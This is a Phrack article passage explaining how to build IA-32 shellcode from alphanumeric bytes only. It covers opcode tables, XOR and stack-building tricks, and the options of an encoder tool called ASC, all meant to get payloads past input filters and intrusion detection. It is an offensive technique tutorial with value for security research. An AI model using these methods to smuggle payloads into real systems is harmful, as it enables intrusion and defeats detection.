David A. Patterson and John L. Hennessy
[7] MIPS RISC Architecture
Gerry Kane and Joe Heinrich
[8] UNIX Assembly Codes Development for Vulnerabilities Illustration
Purposes
The Last Stage of Delirium Research Group http://lsd-pl.net
|=[ EOF ]=---------------------------------------------------------------=|
--------------------------------------------------------------------------------
==Phrack Inc.==
Volume 0x0b, Issue 0x39, Phile #0x0f of 0x12
|=--------------=[ Writing ia32 alphanumeric shellcodes ]=---------------=|
|=-----------------------------------------------------------------------=|
|=--------------------------=[ rix@hert.org ]=---------------------------=|
----| Introduction
Today, more and more exploits need to be written using assembler,
particularly to write classical shellcodes (for buffer overflows, or
format string attacks,...).
Many programs now achieve powerfull input filtering, using functions like
strspn() or strcspn(): it prevents people from easily inserting shellcodes
in different buffers.
In the same way, we observe more and more IDS detecting suspicious
opcodes sequences, some of them indicating the presence of a shellcode.
One way to evade such pattern matching techniques is to use polymorphic
stuff, like using tools such as K2's ADMmutate.
Another way to do this is going to be presented here: we'll try to write
IA32 non filterable shellcodes, using only alphanumeric chars: more
precisely, we'll use only chars like '0'->'9','A'->'Z' and 'a'->'z'.
If we can write such alphanumeric shellcodes, we will be able to store our
shellcodes nearly everywhere! Let's enumerate some interesting
possibilities:
- filtered inputs
- environment variables
- classical commands, instructions & parameters from usual protocols
- filenames & directories
- usernames & passwords
- ...
----| The usable instructions
Before beginning to think about particular techniques, let's first have a
look at the IA32 instructions that will be interesting for us.
First of all, some conventions (from Intel references) that we'll use in
our summary arrays:
<r8> : indicates a byte register.
<r32> : indicates a doubleword register.
<r/m8> : indicates a byte register or a byte from memory (through
a pointer).
<r/m32> : indicates a doubleword register or a doubleword from
memory (through a pointer).
</r> : indicates that the instruction byte is followed of
possibly several operand bytes. One of those bytes, the
"ModR/M byte", permits us to specify the used addressing
form,with the help of 3 bit fields.
ModR/M byte:
7 6 5 4 3 2 1 0
+---+-----+-----+
|mod| r | r/m |
+---+-----+-----+
In this case, the </r> indicates us the ModR/M byte will
contain a register operand and a register or memory
operand.
<imm8> : indicates an immediate byte value.
<imm32> : indicates an immediate doubleword value.
<disp8> : indicates a signed 8 bits displacement.
<disp32> : indicates a signed 32 bits displacement.
<...> : indicates the instruction possibly need some operands
(eventually encoded on several operand bytes).
ALPHANUMERIC OPCODES:
Now, let's remember all instructions with alphanumeric opcodes:
hexadecimal opcode | char | instruction | interesting
-------------------+------+--------------------------------+------------
30 </r> | '0' | xor <r/m8>,<r8> | YES
31 </r> | '1' | xor <r/m32>,<r32> | YES
32 </r> | '2' | xor <r8>,<r/m8> | YES
33 </r> | '3' | xor <r32>,<r/m32> | YES
34 <imm8> | '4' | xor al,<imm8> | YES
35 <imm32> | '5' | xor eax,<imm32> | YES
36 | '6' | ss: (Segment Override Prefix)|
37 | '7' | aaa |
38 </r> | '8' | cmp <r/m8>,<r8> | YES
39 </r> | '9' | cmp <r/m32>,<r32> | YES
| | |
41 | 'A' | inc ecx | YES
42 | 'B' | inc edx | YES
43 | 'C' | inc ebx | YES
44 | 'D' | inc esp | YES
45 | 'E' | inc ebp | YES
46 | 'F' | inc esi | YES
47 | 'G' | inc edi | YES
48 | 'H' | dec eax | YES
49 | 'I' | dec ecx | YES
4A | 'J' | dec edx | YES
4B | 'K' | dec ebx | YES
4C | 'L' | dec esp | YES
4D | 'M' | dec ebp | YES
4E | 'N' | dec esi | YES
4F | 'O' | dec edi | YES
50 | 'P' | push eax | YES
51 | 'Q' | push ecx | YES
52 | 'R' | push edx | YES
53 | 'S' | push ebx | YES
54 | 'T' | push esp | YES
55 | 'U' | push ebp | YES
56 | 'V' | push esi | YES
57 | 'W' | push edi | YES
58 | 'X' | pop eax | YES
59 | 'Y' | pop ecx | YES
5A | 'Z' | pop edx | YES
| | |
61 | 'a' | popa | YES
62 <...> | 'b' | bound <...> |
63 <...> | 'c' | arpl <...> |
64 | 'd' | fs: (Segment Override Prefix)|
65 | 'e' | gs: (Segment Override Prefix)|
66 | 'f' | o16: (Operand Size Override)| YES
67 | 'g' | a16: (Address Size Override)|
68 <imm32> | 'h' | push <imm32> | YES
69 <...> | 'i' | imul <...> |
6A <imm8> | 'j' | push <imm8> | YES
6B <...> | 'k' | imul <...> |
6C <...> | 'l' | insb <...> |
6D <...> | 'm' | insd <...> |
6E <...> | 'n' | outsb <...> |
6F <...> | 'o' | outsd <...> |
70 <disp8> | 'p' | jo <disp8> | YES
71 <disp8> | 'q' | jno <disp8> | YES
72 <disp8> | 'r' | jb <disp8> | YES
73 <disp8> | 's' | jae <disp8> | YES
74 <disp8> | 't' | je <disp8> | YES
75 <disp8> | 'u' | jne <disp8> | YES
76 <disp8> | 'v' | jbe <disp8> | YES
77 <disp8> | 'w' | ja <disp8> | YES
78 <disp8> | 'x' | js <disp8> | YES
79 <disp8> | 'y' | jns <disp8> | YES
7A <disp8> | 'z' | jp <disp8> | YES
What can we directly deduct of all this?
- NO "MOV" INSTRUCTIONS:
=> we need to find another way to manipulate our data.
- NO INTERESTING ARITHMETIC INSTRUCTIONS ("ADD","SUB",...):
=> we can only use DEC and INC.
=> we can't use INC with the EAX register.
- THE "XOR" INSTRUCTION:
=> we can use XOR with bytes and doublewords.
=> very interesting for basic crypto stuff.
- "PUSH"/"POP"/"POPAD" INSTRUCTIONS:
=> we can push bytes and doublewords directly on the stack.
=> we can only use POP with the EAX,ECX and EDX registers.
=> it seems we're going to play again with the stack.
- THE "O16" OPERAND SIZE OVERRIDE:
=> we can also achieve 16 bits manipulations with this instruction
prefix.
- "JMP" AND "CMP" INSTRUCTIONS:
=> we can realize some comparisons.
=> we can't directly use constant values with CMP.
Besides, Don't forget that operands of these instructions (</r>, <imm8>,
<imm32>, <disp8> and <disp32>) must also remain alphanumeric. It may
make our task once again more complicated...
THE "ModR/M" BYTE:
For example, let's observe the effect of this supplementary constraint on
the ModR/M byte (</r>), particularly for XOR and CMP.
In the next array, we'll find all the possible values for this ModR/M
byte, and their interpretation as <r8>/<r32> (first row) and <r/m> (first
column) operands.
<r8>:| al | cl | dl | bl | ah | ch | dh | bh
<r32>:| eax | ecx | edx | ebx | esp | ebp | esi | edi
<r/m> | | | | | | | |
--:-------------+------+------+------+------+------+------+------+------
(mod=00) | | | | | | | |
[eax] |00 |08 |10 |18 |20 |28 |30 '0'|38 '8'
[ecx] |01 |09 |11 |19 |21 |29 |31 '1'|39 '9'
[edx] |02 |0A |12 |1A |22 |2A |32 '2'|3A
[ebx] |03 |0B |13 |1B |23 |2B |33 '3'|3B
[<SIB>] |04 |0C |14 |1C |24 |2C |34 '4'|3C
[<disp32>] |05 |0D |15 |1D |25 |2D |35 '5'|3D
[esi] |06 |0E |16 |1E |26 |2E |36 '6'|3E
[edi] |07 |0F |17 |1F |27 |2F |37 '7'|3F
----------------+------+------+------+------+------+------+------+------
(mod=01) | | | | | | | |
[eax+<disp8>] |40 |48 'H'|50 'P'|58 'X'|60 |68 'h'|70 'p'|78 'x'
[ecx+<disp8>] |41 'A'|49 'I'|51 'Q'|59 'Y'|61 'a'|69 'i'|71 'q'|79 'y'
[edx+<disp8>] |42 'B'|4A 'J'|52 'R'|5A 'Z'|62 'b'|6A 'j'|72 'r'|7A 'z'
[ebx+<disp8>] |43 'C'|4B 'K'|53 'S'|5B |63 'c'|6B 'k'|73 's'|7B
[<SIB>+<disp8>] |44 'D'|4C 'L'|54 'T'|5C |64 'd'|6C 'l'|74 't'|7C
[ebp+<disp8>] |45 'E'|4D 'M'|55 'U'|5D |65 'e'|6D 'm'|75 'u'|7D
[esi+<disp8>] |46 'F'|4E 'N'|56 'V'|5E |66 'f'|6E 'n'|76 'v'|7E
[edi+<disp8>] |47 'G'|4F 'O'|57 'W'|5F |67 'g'|6F 'o'|77 'w'|7F
----------------+------+------+------+------+------+------+------+------
(mod=10) | | | | | | | |
[eax+<disp32>] |80 |88 |90 |98 |A0 |A8 |B0 |B8
[ecx+<disp32>] |81 |89 |91 |99 |A1 |A9 |B1 |B9
[edx+<disp32>] |82 |8A |92 |9A |A2 |AA |B2 |BA
[ebx+<disp32>] |83 |8B |93 |9B |A3 |AB |B3 |BB
[<SIB>+<disp32>]|84 |8C |94 |9C |A4 |AC |B4 |BC
[ebp+<disp32>] |85 |8D |95 |9D |A5 |AD |B5 |BD
[esi+<disp32>] |86 |8E |96 |9E |A6 |AE |B6 |BE
[edi+<disp32>] |87 |8F |97 |9F |A7 |AF |B7 |BF
---+------------+------+------+------+------+------+------+------+------
(mod=11) | | | | | | | |
al | eax |C0 |C8 |D0 |D8 |E0 |E8 |F0 |F8
cl | ecx |C1 |C9 |D1 |D9 |E1 |E9 |F1 |F9
dl | edx |C2 |CA |D2 |DA |E2 |EA |F2 |FA
bl | ebx |C3 |CB |D3 |DB |E3 |EB |F3 |FB
ah | esp |C4 |CC |D4 |DC |E4 |EC |F4 |FC
ch | ebp |C5 |CD |D5 |DD |E5 |ED |F5 |FD
dh | esi |C6 |CE |D6 |DE |E6 |EE |F6 |FE
bh | edi |C7 |CF |D7 |DF |E7 |EF |F7 |FF
What can we deduct this time for XOR and CMP?
- SOME "xor [<r32>],dh" AND "xor [<r32>],bh" INSTRUCTIONS.
- THE "xor [<disp32>],dh" INSTRUCTION.
- SOME "xor [<r32>+<disp8>],<r8>" INSTRUCTIONS.
- NO "xor <r8>,<r8>" INSTRUCTIONS.
- SOME "xor [<r32>],esi" AND "xor [<r32>],edi" INSTRUCTIONS.
- THE "xor [<disp32>],esi" INSTRUCTION.
- SOME "xor [<r32>+<disp8>],<r32>" INSTRUCTIONS.
- NO "xor <r32>,<r32>" INSTRUCTIONS.
- SOME "xor dh,[<r32>]" AND "xor bh,[<r32>]" INSTRUCTIONS.
- THE "xor dh,[<disp32>]" INSTRUCTION.
- SOME "xor <r8>,[<r32>+<disp8>]" INSTRUCTIONS.
- SOME "xor esi,[<r32>]" AND "xor edi,[<r32>]" INSTRUCTIONS.
- THE "xor esi,[<disp32>]" INSTRUCTION.
- SOME "xor <r32>,[<r32>+<disp8>]" INSTRUCTIONS.
- SOME "cmp [<r32>],dh" AND "cmp [<r32>],bh" INSTRUCTIONS.
- THE "cmp [<disp32>],dh" INSTRUCTION.
- SOME "cmp [<r32>+<disp8>],<r8>" INSTRUCTIONS.
- NO "cmp <r8>,<r8>" INSTRUCTIONS.
- SOME "cmp [<r32>],esi" AND "cmp [<r32>],edi" INSTRUCTIONS.
- THE "cmp [<disp32>],esi" INSTRUCTION.
- SOME "cmp [<r32>+<disp8>],<r32>" INSTRUCTIONS.
- NO "cmp <r32>,<r32>" INSTRUCTIONS.
THE "SIB" BYTE:
To be complete, we must also analyze possibilities offered by the Scale
Index Base byte ("<SIB>" in our last array). This SIB byte allows us to
create addresses having the following form:
<SIB> = <base>+(2^<scale>)*<index>
Where:
<base> : indicate a base register.
<index> : indicate an index register.
<scale> : indicate a scale factor for the index register.
Here are the different bit fields of this byte:
7 6 5 4 3 2 1 0
+---+-----+-----+
|sc.|index|base |
+---+-----+-----+
Let's have a look at this last array:
<base>:| eax | ecx | edx | ebx | esp | ebp | esi | edi
| | | | | | (if | |
(2^<scale>)| | | | | | MOD | |
*<index> | | | | | | !=00)| |
----:------+------+------+------+------+------+------+------+------
eax |00 |01 |02 |03 |04 |05 |06 |07
ecx |08 |09 |0A |0B |0C |0D |0E |0F
edx |10 |11 |12 |13 |14 |15 |16 |17
ebx |18 |19 |1A |1B |1C |1D |1E |1F
0 |20 |21 |22 |23 |24 |25 |26 |27
ebp |28 |29 |2A |2B |2C |2D |2E |2F
esi |30 '0'|31 '1'|32 '2'|33 '3'|34 '4'|35 '5'|36 '6'|37 '7'
edi |38 '8'|39 '9'|3A |3B |3C |3D |3E |3F
-----------+------+------+------+------+------+------+------+------
2*eax |40 |41 'A'|42 'B'|43 'C'|44 'D'|45 'E'|46 'F'|47 'G'
2*ecx |48 'H'|49 'I'|4A 'J'|4B 'K'|4C 'L'|4D 'M'|4E 'N'|4F 'O'
2*edx |50 'P'|51 'Q'|52 'R'|53 'S'|54 'T'|55 'U'|56 'V'|57 'W'
2*ebx |58 'X'|59 'Y'|5A 'Z'|5B |5C |5D |5E |5F
0 |60 |61 'a'|62 'b'|63 'c'|64 'd'|65 'e'|66 'f'|67 'g'
2*ebp |68 'h'|69 'i'|6A 'j'|6B 'k'|6C 'l'|6D 'm'|6E 'n'|6F 'o'
2*esi |70 'p'|71 'q'|72 'r'|73 's'|74 't'|75 'u'|76 'v'|77 'w'
2*edi |78 'x'|79 'y'|7A 'z'|7B |7C |7D |7E |7F
-----------+------+------+------+------+------+------+------+------
4*eax |80 |81 |82 |83 |84 |85 |86 |87
4*ecx |88 |89 |8A |8B |8C |8D |8E |8F
4*edx |90 |91 |92 |93 |94 |95 |96 |97
4*ebx |98 |99 |9A |9B |9C |9D |9E |9F
0 |A0 |A1 |A2 |A3 |A4 |A5 |A6 |A7
4*ebp |A8 |A9 |AA |AB |AC |AD |AE |AF
4*esi |B0 |B1 |B2 |B3 |B4 |B5 |B6 |B7
4*edi |B8 |B9 |BA |BB |BC |BD |BE |BF
-----------+------+------+------+------+------+------+------+------
8*eax |C0 |C1 |C2 |C3 |C4 |C5 |C6 |C7
8*ecx |C8 |C9 |CA |CB |CC |CD |CE |CF
8*edx |D0 |D1 |D2 |D3 |D4 |D5 |D6 |D7
8*ebx |D8 |D9 |DA |DB |DC |DD |DE |DF
0 |E0 |E1 |E2 |E3 |E4 |E5 |E6 |E7
8*ebp |E8 |E9 |EA |EB |EC |ED |EE |EF
8*esi |F0 |F1 |F2 |F3 |F4 |F5 |F6 |F7
8*edi |F8 |F9 |FA |FB |FC |FD |FE |FF
-----------+------+------+------+------+------+------+------+------
(if <base> |
==ebp | => <SIB> = <disp32>+(2^<scale>)*<index>
and MOD==0)|
-----------+-------------------------------------------------------
What can we deduct of this last array?
- SOME "<r32>+esi" SIB ADDRESSES.
- SOME "<r32>+2*<r32>" SIB ADDRESSES.
- NO "<r32>+4*<r32>" OR "<r32>+8*<r32>" SIB ADDRESSES.
Also remember that the usual bytes order for a full instruction with
possibly ModR/M, SIB byte and disp8/disp32 is:
<opcode> [Mode R/M byte] [<SIB>] [<disp8>/<disp32>]
THE "XOR" INSTRUCTION:
We notice that we have some possibilities for the XOR instruction. Let's
remember briefly all possible logical combinations:
a | b | a XOR b (=c)
--+---+-------------
0 | 0 | 0
0 | 1 | 1
1 | 0 | 1
1 | 1 | 0
What can we deduct of this?
- a XOR a = 0
=> we can easily initialize registers to 0.
- 0 XOR b = b
=> we can easily load values in registers containing 0.
- 1 XOR b = NOT b
=> we can easily invert values using registers containing 0xFFFFFFFF.
- a XOR b = c
b XOR c = a
a XOR c = b
=> we can easily find a byte's XOR complement.
----| Classic manipulations
Now, we are going to see various methods permitting to achieve a maximum
of usual low level manipulations from the authorized instructions listed
above.
INITIALIZING REGISTERS WITH PARTICULAR VALUES:
First of all, let's think about a method allowing us to initialize some
very useful particular values in our registers, like 0 or 0xFFFFFFFF
(see alphanumeric_initialize_registers() in asc.c).
For example:
push 'aaaa' ; 'a' 'a' 'a' 'a'
pop eax ;EAX now contains 'aaaa'.
xor eax,'aaaa' ;EAX now contains 0.
dec eax ;EAX now contains 0xFFFFFFFF.
We are going to memorize those special values in particular registers, to
be able to use them easily.
INITIALIZING ALL REGISTERS:
At the beginning of our shellcode, we will need to initialize several
registers with values that we will probably use later.
Don't forget that we can't use POP with all registers (only EAX,ECX and
EDX) We will then use POPAD. For example, if we suppose EAX contain 0 and
ECX contain 'aaaa', we can initialize all our registers easily:
push eax ;EAX will contain 0.
push ecx ;no change to ECX ('aaaa').
push esp ;EDX will contain ESP after POPAD.
push eax ;EBX will contain 0.
push esp ;no change to ESP.
push ebp ;no change to EBP.
push ecx ;ESI will contain 'aaaa' after POPAD.
dec eax ;EAX will contain 0xFFFFFFFF.
push eax ;EDI will contain 0xFFFFFFFF.
popad ;we get all values from the stack.
COPYING FROM REGISTERS TO REGISTERS:
Using POPAD, we can also copy data from any register to any register, if
we can't PUSH/POP directly. For example, copying EAX to EBX:
push eax ;no change.
push ecx ;no change.
push edx ;no change.
push eax ;EBX will contain EAX after POPAD.
push eax ;no change (ESP not "poped").
push ebp ;no change.
push esi ;no change.
push edi ;no change.
popad
Let's note that the ESP's value is changed before the PUSH since we have 2
PUSH preceding it, but POPAD POP all registers except ESP from the stack.
SIMULATING A "NOT" INSTRUCTION:
By using XOR, we can easily realize a classical NOT instruction. Suppose
EAX contains the value we want to invert, and EDI contains 0xFFFFFFFF:
push eax ;we push the value we want to invert.
push esp ;we push the offset of the value we
; pushed on the stack.
pop ecx ;ECX now contains this offset.
xor [ecx],edi ;we invert the value.
pop eax ;we get it back in EAX.
READING BYTES FROM MEMORY TO A REGISTER:
Once again, by using XOR and the 0 value (here in EAX), we can read an
arbitrary byte into DH:
push eax ;we push 0 on the stack.
pop edx ;we get it back in ECX (DH is now 0).
xor dh,[esi] ;we read our byte using [esi] as source
;address.
We can also read values not far from [esp] on the stack, by using DEC/INC
on ESP, and then using a classical POP.
WRITING ALPHANUMERIC BYTES TO MEMORY:
If we need a small place to write bytes, we can easily use PUSH and write
our bytes by decreasing memory addresses and playing with INC on ESP.
push 'cdef' ; 'c' 'd' 'e' 'f'
push 'XXab' ; 'X' 'X' 'a' 'b' 'c' 'd' 'e' 'f'
inc esp ; 'X' 'a' 'b' 'c' 'd' 'e' 'f'
inc esp ; 'a' 'b' 'c' 'd' 'e' 'f'
Now, ESP points at a "abcdef" string written on the stack...
We can also use the 016 instruction prefix to directly push a 16 bits
value:
push 'cdef' ; 'c' 'd' 'e' 'f'
push 'ab' ; 'a' 'b' 'c' 'd' 'e' 'f'
----| The methods
Now, let's combine some of these interesting manipulations to effectively
generate alphanumeric shellcodes .
We are going to generate an alphanumeric engine, that will build our
original (non-alphanumeric) shellcode. We will propose 2 different
techniques:
USING THE STACK:
Because we have a set of instructions related to the stack, we are going
to use them efficiently.
In fact, we are going to construct our original code gradually while
pushing values on the stack, from the last byte (B1) of our original
shellcode to the first one (see alphanumeric_stack_generate() and
"-m stack" option in asc.c):
.... 00 00 00 00 00 00 00 00 00 00 00 00 SS SS SS SS ....
.... 00 00 00 00 00 00 00 00 00 00 B2 B1 SS SS SS SS ....
<-----
.... 00 00 00 00 00 00 00 B5 B4 B3 B2 B1 SS SS SS SS ....
<-----------------
.... 00 00 00 B9 B8 B7 B6 B5 B4 B3 B2 B1 SS SS SS SS ....
<-------original shellcode--------
Where: SS represents bytes already present on the stack.
00 represents non used bytes on the stack.
Bx represents bytes of our original non-alphanumeric shellcode.
It is really easy, because we have instructions to push doublewords or
words, and we can also play with INC ESP to simply push a byte.
The problem is that we cannot directly push non-alphanumeric bytes. Let's
try to classify bytes of our original code in different categories.
(see alphanumeric_stack_get_category() in asc.c).
We can thus write tiny blocks of 1,2,3 or 4 bytes from the same category
on the stack (see alphanumeric_stack_generate_push() in asc.c).
Let's observe how to realize that:
- CATEGORY_00:
We suppose the register (<r>,<r32>,<r16>) contains the 0xFFFFFFFF value.
1 BYTE:
inc <r32> ;<r32> now contains 0.
push <r16> ; 00 00
inc esp ; 00
dec <r32> ;<r32> now contains 0xFFFFFFFF.
2 BYTES:
inc <r32> ;<r32> now contains 0.
push <r16> ; 00 00
dec <r32> ;<r32> now contains 0xFFFFFFFF.
3 BYTES:
inc <r32> ;<r32> now contains 0.
push <r32> ; 00 00 00 00
inc esp ; 00 00 00
dec <r32> ;<r32> now contains 0xFFFFFFFF.
4 BYTES:
inc <r32> ;<r32> now contains 0.
push <r32> ; 00 00 00 00
dec <r32> ;<r32> now contains 0xFFFFFFFF.
- CATEGORY_FF:
We use the same mechanism as for CATEGORY_00, except that we don't need
to INC/DEC the register containing 0xFFFFFFFF.
- CATEGORY_ALPHA:
We simply push the alphanumeric values on the stack, possibly using a
random alphanumeric byte "??" to fill the doubleword or the word.
1 BYTE:
push 0x??B1 ; ?? B1
inc esp ; B1
2 BYTES:
push 0xB2B1 ; B2 B1
3 BYTES:
push 0x??B3B2B1 ; ?? B3 B2 B1
inc esp ; B3 B2 B1
4 BYTES:
push 0xB4B3B2B1 ; B4 B3 B2 B1
- CATEGORY_XOR:
We choose random alphanumeric bytes X1,X2,X3,X4 and Y1,Y2,Y3,Y4, so that
X1 xor Y1 = B1, X2 xor Y2 = B2, X3 xor Y3 = B3 and X4 xor Y4 = B4
(see alphanumeric_get_complement() in asc.c).
1 BYTE:
push 0x??X1 ; ?? X1
pop ax ;AX now contains 0x??X1.
xor ax,0x??Y1 ;AX now contains 0x??B1.
push ax ; ?? B1
inc esp ; B1
2 BYTES:
push 0xX2X1 ; X2 X1
pop ax ;AX now contains 0xX2X1.
xor ax,0xY2Y1 ;AX now contains 0xB2B1.
push ax ; B2 B1
3 BYTES:
push 0x??X3X2X1 ; ?? X3 X2 X1
pop eax ;EAX now contains 0x??X3X2X1.
xor eax,0x??Y3Y2Y1 ;EAX now contains 0x??B3B2B1.
push eax ; ?? B3 B2 B1
inc eax ; B3 B2 B1
4 BYTES:
push 0xX4X3X2X1 ; X4 X3 X2 X1
pop eax ;EAX now contains 0xX4X3X2X1.
xor eax,0xY4Y3Y2Y1 ;EAX now contains 0xB4B3B2B1.
push eax ; B4 B3 B2 B1
- CATEGORY_ALPHA_NOT and CATEGORY_XOR_NOT:
We simply generate CATEGORY_ALPHA and CATEGORY_XOR bytes (N1,N2,N3,N4) by
realizing a NOT operation on the original value. We must then cancel the
effect of this operation, by realizing again a NOT operation but this
time on the stack (see alphanumeric_stack_generate_not() in asc.c).
1 BYTE:
push esp
pop ecx ;ECX now contains ESP.
; N1
xor [ecx],<r8> ; B1
2 BYTES:
push esp
pop ecx ;ECX now contains ESP.
; N2 N1
xor [ecx],<r16> ; B2 B1
3 BYTES:
push esp
pop ecx ;ECX now contains ESP.
; N3 N2 N1
dec ecx ; ?? N3 N2 N1
xor [ecx],<r32> ; ?? B3 B2 B1
inc ecx ; B3 B2 B1
4 BYTES:
push esp
pop ecx ;ECX now contains ESP.
; N4 N3 N2 N1
xor [ecx],<r32> ; B4 B3 B2 B1
While adding each of these small codes, with the appropriate values, to
our alphanumeric shellcode, we'll generate an alphanumeric shellcode wich
will build our non-alphanumeric shellcode on the stack.
USING "XOR PATCHES":
Another possibility is to take advantage of an interesting addressing
mode, using both ModR/M and SIB bytes in combination with the following
XOR instruction (see alphanumeric_patches_generate_xor() and "-m patches"
option in asc.c):
xor [<base>+2*<index>+<disp8>],<r8>
xor [<base>+2*<index>+<disp8>],<r16>
xor [<base>+2*<index>+<disp8>],<r32>
Suppose we have such an architecture for our shellcode:
[initialization][patcher][ data ]
We can initialize some values and registers in [initialization], then use
XOR instructions in [patcher] to patch bytes in [data]:
(see alphanumeric_patches_generate() in asc.c)
[initialization][patcher][original non-alphanumeric shellcode]
To use this technique, we need to know the starting address of our
shellcode. We can store it in a <base> register, like EBX or EDI.
We must then calculate the offset for the first non-alphanumeric byte to
patch, and generate this offset again by using an <index> register and an
alphanumeric <disp8> value:
[initialization][patcher][original non-alphanumeric shellcode]
| |
<base> <base>+2*<index>+<disp8>
The main issue here is that our offset is going to depend on the length
of our [initialization] and [patcher]. Besides, this offset is not
necessarily alphanumeric. Therefore, we'll generate this offset in
[initialization], by writing it on the stack with our previous technique.
We'll try to generate the smallest possible [initialization], by
increasing gradually an arbitrary offset, trying to store the code to
calculate it in [initialization], and possibly add some padding bytes
(see alphanumeric_patches_generate_initialization() in asc.c):
First iteration:
[######################][patcher][data]
|
offset
[code to generate this offset] => too big.
Second iteration:
[##########################][patcher][data]
|
--->offset
[ code to generate this offset ] => too big.
Nth iteration:
[#######################################][patcher][data]
|
---------------->offset
[ code to generate this offset ] => perfect.
Adding some padding bytes:
[#######################################][patcher][data]
|
---------------->offset
[ code to generate this offset ][padding] => to get the exact size.
And finally the compiled shellcode:
[ code to generate the offset ][padding][patcher][data]
We will also iterate on the <disp8> value, because some values can give us
an easy offset to generate.
What will contain the [data] at runtime ?
We will use exactly the same manipulations as for the "stack technique",
except that here, we can (we MUST !!!) have directly stored alphanumeric
values in our [data].
Another problem is that we can only use <r8>,<r16> or <r32> registers.
It prevents us to patch 3 bytes with only one XOR instruction without
modifying previous or next bytes.
Finally, once we patched some bytes, we must increment our offset to reach
the next bytes that we need to patch. We can simply increment our <base>,
or increment our <disp8> value if <disp8> is always alphanumeric.
To finish this description of the techniques, let's remember again that
we cannot use all registers and addressing modes... We can only use the
ones that are "alphanumeric compatibles". For example, in the "XOR
patching technique", we decided to use the following registers:
<base> = ebx | edi
<index> = ebp
XOR register = eax | ecx
NOT register = dl | dh | edx | esi
Let's note that those registers are randomly allocated, to add some
basic polymorphism abilities (see alphanumeric_get_register() in asc.c).
----| Some architectures and considerations
Now, we will analyze different general architectures and considerations to
generate alphanumeric shellcodes.
For the "XOR patching technique", the only constraint is that we need to
know the address of our shellcode. Usually this is trivial: we used this
address to overflow a return address. For example, if we overwrote a
return value, we can easily recover it at the beginning of our shellcode
(see alphanumeric_get_address_stack() and "-a stack" option in asc.c):
dec esp
dec esp
dec esp
dec esp
pop <r32>
The address can also be stored in a register (see "-a <r32>" option in
asc.c). In this case, no preliminary manipulation will be necessary.
For the "stack technique", we can have different interesting
architectures, depending on the position of the buffer we try to smash.
Let's analyze some of them briefly.
If our shellcode is on the stack, followed by a sufficient space and by a
return address, this is really perfect. Let's look at what is going to
happen to our stack:
.... AA AA AA AA 00 00 00 00 00 00 RR RR RR RR SS SS ....
[EIP] [ESP]
.... AA AA AA AA 00 00 00 00 00 00 RR BB BB BB SS SS ....
-->[EIP] [ESP]<---------
Our non-alphanumeric shellcode gets down to meet the end of our compiled
shellcode. Once we have built our entire original shellcode, we can simply
build padding instructions to connect both shellcodes.
.... AA AA AA AA PP PP PP PP PP PP RR BB BB BB SS SS ....
------>[EIP] [ESP]<-------------------------------------
.... AA AA AA AA PP PP PP PP PP PP RR BB BB BB SS SS ....
-------------------------------------->[EIP]
Where: AA represents bytes of our alphanumeric compiled shellcode.
00 represents non used positions on the stack.
SS represents bytes already present on the stack.
RR represents bytes of our return address.
BB represents bytes of ou non-alphanumeric generated shellcode.
PP represents bytes of simple padding instructions (ex: INC ECX).
To use this method, we must have an original shellcode with a smaller size
compared to the space between the end of our compiled shellcode and the
value of ESP at the beginning of the execution of our shellcode.
We must also be sure that the last manipulations on the stack (to generate
padding instructions) will not overwrite the last instructions of our
compiled shellcode. If we simply generate alphanumeric padding
instructions, it should not make any problems.
We can also add some padding instructions at the end of our alphanumeric
compiled shellcode, and let them be overwritten by our generated padding
instructions. This approach is interesting for brute forcing
(see "-s null" option in asc.c).
We can also proceed in a slightly different way, if the space between our
compiled shellcode and the original shellcode has an alphanumeric length
(<disp8> alphanumeric). We simply use 2 inverse conditional jumps, like
this:
[end of our compiled shellcode]
jo <disp8>+1 -+
|
jno <disp8> --+
|
... |
|
label: <-------+
[begin of our original non-alphanumeric shellcode]
We can also combine "stack" and "patches" techniques. We build our
original shellcode on the stack (1), and simply jump to it once built (3).
The problem is that we don't have alphanumeric jump instructions. We'll
generate a JMP ESP simply by using the "patches technique" (2) on one byte
(see "-s jmp" option in asc.c):
+--patch (2)-+
| |
[non-alphanumeric building code][JMP ESP patching code][jmp esp]
| |
+-------------+---------jump (3)------------------------------+
| |
| build (1)
| |
+-> [non-alphanumeric code]
We can also replace the JMP ESP by the following sequence, easier to
generate (see "-s ret" option in asc.c):
push esp
ret
Finally, we can generate yet another style of shellcode. Suppose we have a
really big non-alphanumeric shellcode. Perhaps is it more interesting to
compress it, and to write a small non-alphanumeric decompression engine
(see "-s call" option in asc.c):
+--patch (2)--+
| |
[non-alphanumeric building code][CALL ESP patching code][call esp][data]
| |
+-------------+---------call (3)--------------------------------+
| |
| build (1)
| |
| <---------+-------------------------------->
|
+-> [pop <r32>][decompression engine][jmp <r32>]
(4) (5) (6)
Once the CALL ESP is executed (3), the address of [data] is pushed on the
stack. The engine only has to pop it in a register (4), can then
decompress the data to build the original shellcode (5), and finally jump
to it (6).
As we can see it, possibilities are really endless!
----| ASC, an Alphanumeric Shellcode Compiler
ASC offers some of the techniques proposed above.
What about the possible options?
COMPILATION OPTIONS:
These options allow us to specify the techniques and architecture the
alphanumeric shellcode will use to build the original shellcode.
-a[ddress] stack|<r32> : allows to specify the start address of the
shellcode (useful for patching technique).
"stack" means we get the address from the stack.
<r32> allows to specify a register containing this starting address.
-m[ode] stack|patches : allows to choose the type of alphanumeric
shellcode we want to generate.
"stack" generates our shellcode on the stack.
"patches" generates our shellcode by XOR patching.
-s[tack] call|jmp|null|ret : specifies the method (if "-m stack") to
return to the original shellcode on the stack.
"call" uses a CALL ESP instruction.
"jmp" uses a JMP ESP instruction.
"null" doesn't return to the code (if the original code is right after
the alphanumeric shellcode).
"ret" uses PUSH ESP and RET instructions.
DEBUGGING OPTIONS:
These options permit us to insert some breakpoints (int3), and observe the
execution of our alphanumeric shellcode.
-debug-start : inserts a breakpoint to the start of the compiled
shellcode.
-debug-build-original : inserts a breakpoint before to build the original
shellcode.
-debug-build-jump : inserts a breakpoint before to build the jump code
(if we specified the -s option). Useless if "-s null".
-debug-jump : inserts a breakpoint before to run the jump instruction
(if we specified the -s option). If "-s null", the breakpoint will
simply be at the end of the alphanumeric shellcode.
-debug-original : inserts a breakpoint to the beginning of the original
shellcode. This breakpoint will be build at runtime.
INPUT/OUTPUT OPTIONS:
-c[har] <char[] name> : specifies a C variable name where a shellcode is
stored:
char array[]= "blabla" /* my shellcode */
"blabla";
If no name is specified and several char[] arrays are present, the first
one will be used. The parsing recognizes C commentaries and multi-lines
arrays. This option also assure us that the input file is a C file, and
not a binary file.
-f[ormat] bin|c : specifies the output file format. If C format is chosen,
